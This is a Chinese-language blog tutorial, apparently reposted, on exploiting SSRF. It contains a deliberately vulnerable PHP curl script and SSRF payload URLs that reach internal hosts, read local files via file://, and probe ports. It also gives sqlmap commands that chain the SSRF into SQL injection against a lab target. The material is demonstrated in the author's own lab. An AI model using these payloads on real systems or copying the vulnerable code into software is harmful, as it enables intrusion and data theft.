ssrf漏洞利用

0x00前言发现最近已经很久没更新文章了,这里就先来更新一篇ssrf,这个漏洞也是最近才研究的,以前没有去挖过此类漏洞,对此漏洞的认知也比较少0x01漏洞原理这个漏洞产生是因为服务器向外部去

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00 前言

发现最近已经很久没更新文章了,这里就先来更新一篇ssrf,这个漏洞也是最近才研究的,以前没有去挖过此类漏洞,对此漏洞的认知也比较少

0x01 漏洞原理

这个漏洞产生是因为服务器向外部去请求一些资源,例如图片或者是url的时候就会造成这个漏洞。现在很多网站开发的时候也会请求到外部的一些图片,那么这样也很有可能存在ssrf漏洞。

先来看看产生ssrf漏洞的几个函数。

file_get_contents()
fsockopen()
curl_exec()

 

 

0x02 ssrf 利用

 

在php里面使用者几个函数来请求外部的资源,并且没做限制和过滤的话就会产生这个ssrf漏洞,

这里先来编写一段简单的ssrf代码。

<?php
function curl($url)
{
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL, $url);
    curl_setopt($ch,CURLOPT_HEADER,0);
    curl_exec($ch);
    curl_close($ch);

}
$url = $_GET['url'];
curl($url);
?>

 

这里请求以get方式接收url传参过来数据。

在正常情况下url可能是这样的

http://127.0.0.1/ssrf1.php?url=https://p2.ssl.qhimgs1.com/t01523800134810ef18.jpg

 

但是我们如果把他请求的链接替换成他内网的地址,就可以让他直接访问内网的80端口。

 

http://127.0.0.1/ssrf1.php?url=http://192.168.0.104

 

 

ssrf漏洞利用

 

 

 

这里可以看到能利用到ssrf漏洞,访问到内部的资源,那么我们是不是可以来尝试一下能不能访问他内网的url进行sql注入,但是这里只会加载部分资源,具体得还得靠字典去扫描。

方便演示,直接搭建了个sqli-labs 的靶机在他访问的内网环境中,用ssrf来请求。

 

http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=2%27

 ssrf漏洞利用

 

 

 

这里要注意的一个点是后面输入的payload 要url编码,否则会报错。

 

这里直接使用sqlmap来跑,内网的一些网站大部分防护比较弱。

sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs

 ssrf漏洞利用

 

 

 

在这里只检测出来了存在注入,但是缺没有爆出数据,后面输入空格的地方没做编码可能会报错

 ssrf漏洞利用

 

 

 

 

那么我们使用sqlmap的时候可以加上tamper脚本,让空格做个编码或者是替换。

sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs --tamper=space2comment

 

 ssrf漏洞利用

 

 

 

这里成功爆出所有数据。

 

ssrf也可以使用一些伪协议来探测内网的ip和端口,这里先使用file协议来读取文件。

 

http://127.0.0.1/ssrf1.php?url=file://c:\\windows\\win.ini

ssrf漏洞利用

 

 

 

 

 

 

成功访问到win.ini文件

这里编写了个脚本使用file协议来使用字典去遍历文件。

 

python.exe ssrf.py http://127.0.0.1/ssrf1.php?url path.txt file

 

这里能直接遍历到文件。让脚本帮我们完成工作,能让我们在渗透当中避免不必要的麻烦。

 

遍历完文件后,还可以用ssrf来遍历端口。

 

http://127.0.0.1/ssrf1.php?url=http://127.0.0.1:3306

ssrf漏洞利用

 

 

 

 

这里可以直接探测到一些banner信息,如果没开放的话,这里是不会返回任何内容的。

那么我们这里肯定也不能使用手工去做探测依然用到我们的脚本。

python ssrf.py http://127.0.0.1/ssrf1.php?url port.txt http

ssrf漏洞利用

 

 

 

 

可以成功探测出本机ip开放的端口以及版本信息,在代码里面默认写的是探测本机的端口,如果想探测其他的内网ip段开放端口的话可以自行修改一下代码中的ip。因为先麻烦所以暂时先把它给固定死。项目的地址也在这里贴出来给各位师傅。

github地址:https://github.com/nice0e3/ssrf

在这里还有个功能没写就是需要遍历内网存活的80端口,后面也会逐渐完善这个脚本。

 

 

0x03 一些小感慨

在这段时间接触脚本开发以来,发现原来会开发安全工具的和不会开发的是两种本质上的区别,从思维上就有很大的区别。不会开发工具的话,话说难听点就是个工具人。但是会开发工具的缺不一样,会开发工具的会是一个开发工具的工具人,哈哈哈。

最近都在完善一些脚本能力,也在逐渐使用脚本来完善一些以前有过的一些大胆的想法。

 

本文章耗时:两小时

 

 ssrf漏洞利用

 

 

 

 

 

 

ssrf漏洞利用

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119966.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 怎么彻底卸载mysql8.0_彻底卸载MySQL8.0

    怎么彻底卸载mysql8.0_彻底卸载MySQL8.0彻底卸载MySQL8.0(WIN10)环境需求win10MySQL8.0彻底卸载1.停止MySQL服务启动任务管理器—>选择服务—->找到MySQL—->右键停止如果有多个MySQL服务,也全部都要停掉2.卸载MySQL相关所有组件打开看控制面板—->卸载程序—->卸载与MySQL相关的所有组件3.删除MySQL安装目录下的MySQL文件夹如果在其…

    2022年6月17日
    82
  • google软件测试之道_gtest测试框架

    google软件测试之道_gtest测试框架gtest提供了一套优秀的C++单元测试解决方案,简单易用,功能完善,非常适合在项目中使用以保证代码质量。

    2022年9月29日
    4
  • Spring Security CAS认证

    Spring Security CAS认证13.7CAS认证13.7.1概述JA-SIG生产一种称为CAS的企业级单点登录系统。与其他计划不同,JA-SIG的中央身份验证服务是开源的,广泛使用的,易于理解,独立于平台,并支持代理功能。SpringSecurity完全支持CAS,并提供从SpringSecurity的单应用程序部署到企业级CAS服务器保护的多应用程序部署的轻松迁移路径。您可以在https://www.ape…

    2022年6月25日
    68
  • 电脑基站测试软件,Signalsitemap PC Tools(阿达基站路测PC辅助工具) V3.50 官方版

    电脑基站测试软件,Signalsitemap PC Tools(阿达基站路测PC辅助工具) V3.50 官方版SignalsitemapPCTools是款简单使用的基站路测工具。它针对阿达基站路测有专门的一套分析系统,帮助路测人员工作,有喜欢的用户不要错过了。【主要功能】1、SignalsitemapPCTools是配合Signalsitemapandroid(阿达基站路测)在PC上使用的辅助工具。2、支持在PC上进行路测数据查看分析,支持导入基站、路测信号回放、室内测试分析等。3、可用于生成…

    2025年6月24日
    1
  • PLC基础知识(PLC入门必看)[通俗易懂]

    PLC基础知识(PLC入门必看)[通俗易懂]1 PLC的发展历程在工业生产过程中,大量的开关量顺序控制,它按照逻辑条件进行顺序动作,并按照逻辑关系进行连锁保护动作的控制,及大量离散量的数据采集。传统上,这些功能是通过气动或电气控制系统来实现的。1968年美国GM(通用汽车)公司提出取代继电气控制装置的要求,第二年,美国数字公司研制出了基于集成电路和电子技术的控制装置,首次采用程序化的手段应用于电气控制,这就是第一代可编程序控制器,称ProgrammableController(PC)。个人计算机(简称PC)发展起来后,为了方便,也为了反映可

    2025年8月28日
    11
  • Mysql介绍

    Mysql介绍Mysql介绍

    2022年4月22日
    201

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号